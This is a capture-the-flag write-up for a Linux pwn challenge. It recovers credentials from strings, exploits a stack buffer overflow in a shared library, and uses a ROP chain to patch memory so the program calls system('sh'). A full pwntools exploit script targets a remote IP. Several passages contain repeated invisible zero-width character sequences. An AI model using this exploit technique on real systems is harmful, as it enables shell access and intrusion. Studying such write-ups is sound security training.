← Back to Writeups
CUSTOMMediumpwn

They

XESXOR9/2/20263 min read
#pwn#custom#medium#credential_recovery_via_string#internal_command_path_reuse#rop_without_libc_leak#stack_buffer_overflow#writable_memory_patch#linux

They

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-07 | Status: Solved Techniques: credential_recovery_via_strings, internal_command_path_reuse, rop_without_libc_leak, stack_buffer_overflow, writable_memory_patch

Summary

Task: 64-bit login service split between a main ELF and libanswer.so; after valid credentials, answer_f() reads 145 bytes into a 32-byte stack buffer. Solution: use a short ROP chain in the non-PIE main binary to set the gate byte to 1, rewrite ls to sh, and fall back into the built-in jmp() path to execute system(\"sh\").

They — hackerlab

Description

Они

We receive two files, task and libanswer.so, and a remote service at 62.173.140.174:17700. The binary asks for credentials, prints a long dialogue, then transfers control into the shared library; the goal is to obtain the flag in CODEBY{...} format.

Analysis

Binary layout

task is an ELF64 executable with no PIE, NX, no canary, and partial RELRO. libanswer.so is an ELF64 shared object with PIE, NX, and no canary. The important consequence is that the main binary has fixed code and data addresses, so a tiny ROP chain can reliably target its gadgets and writable memory. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recovering credentials

Running strings on the provided files reveals the login pair:

  • username: oleg
  • password: snorok

Those credentials are enough to reach the vulnerable code path.

The bug in libanswer.so

After authentication, the program eventually calls answer_f() from libanswer.so. That function performs:

c
char buf[0x20];
scanf("%145s", buf);

So the service reads up to 145 bytes into a 32-byte stack buffer. The saved return address is reached after 40 bytes, which gives direct RIP control. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful post-return path in the main binary

The cleanest route is not ret2libc. After answer_f() returns, main normally continues at 0x4016f6 and then calls helper 0x401316. That helper:

  1. reads one byte from 0x4054d9
  2. uses it as the first argument named flag
  3. calls jmp(flag, "ls")

Inside libanswer.so, jmp(flag, cmd) forwards to kronos(flag, cmd), and kronos executes system(cmd) only if flag == 1.

This means the program already contains an authorized path to system(). We only need to patch the state that reaches it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gadgets

The main binary contains everything needed:

  • 0x401344: pop rax; ret
  • 0x401360: mov bx, word ptr [rax]; ret
  • 0x401351: mov word ptr [rax], bx; ret

These gadgets let us copy 16-bit values from one address to another through bx.

What to patch

Two memory edits are enough:

  1. Copy the word at 0x4012fc into 0x4054d9, so the checked flag byte becomes 1.
  2. Copy the word "sh" from 0x4054bb into 0x4040a0, replacing the original command string "ls".

After these writes, returning to 0x4016f6 makes the program continue as intended, except now it effectively executes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
jmp(1, "sh");

which becomes system("sh").

Solution

Exploitation plan

  1. Connect to the remote service.
  2. Send the credentials oleg / snorok.
  3. Wait until the program reaches scanf() in answer_f().
  4. Send a 40-byte padding followed by the ROP chain.
  5. Let the binary resume at 0x4016f6, which now reaches system("sh").
  6. From the spawned shell, read /flag.

Exploit script

python
#!/usr/bin/env python3
from pwn import *

HOST = "62.173.140.174"
PORT = 17700

context.arch = "amd64"
context.os = "linux"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

OFFSET = 40

POP_RAX = 0x401344
MOV_BX_PTR_RAX = 0x401360
MOV_PTR_RAX_BX = 0x401351
RESUME = 0x4016F6

SRC_FLAG_WORD = 0x4012FC
DST_FLAG_WORD = 0x4054D9
SRC_SH_WORD = 0x4054BB
DST_CMD_WORD = 0x4040A0


def copy_word(src, dst):
    return flat(
        POP_RAX, src,
        MOV_BX_PTR_RAX,
        POP_RAX, dst,
        MOV_PTR_RAX_BX,
    )


def build_payload():
    rop = flat(
        copy_word(SRC_FLAG_WORD, DST_FLAG_WORD),
        copy_word(SRC_SH_WORD, DST_CMD_WORD),
        RESUME,
    )
    return b"A" * OFFSET + rop
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def drain(io, pause=0.4):
    data = b""
    while True:
        chunk = io.recvrepeat(pause)
        if not chunk:
            break
        data += chunk
        if len(chunk) < 4096:
            break
    return data


def main():
    io = remote(HOST, PORT)

    # The service prints a long dialogue, so simple timed interaction is enough.
    drain(io)
    io.sendline(b"oleg")
    drain(io)
    io.sendline(b"snorok")
    drain(io, pause=1.0)

    io.sendline(build_payload())
    drain(io, pause=1.0)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    io.sendline(b"cat /flag")
    io.interactive()


if __name__ == "__main__":
    main()

Result

The spawned shell allows reading /flag, which returns:

text
CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍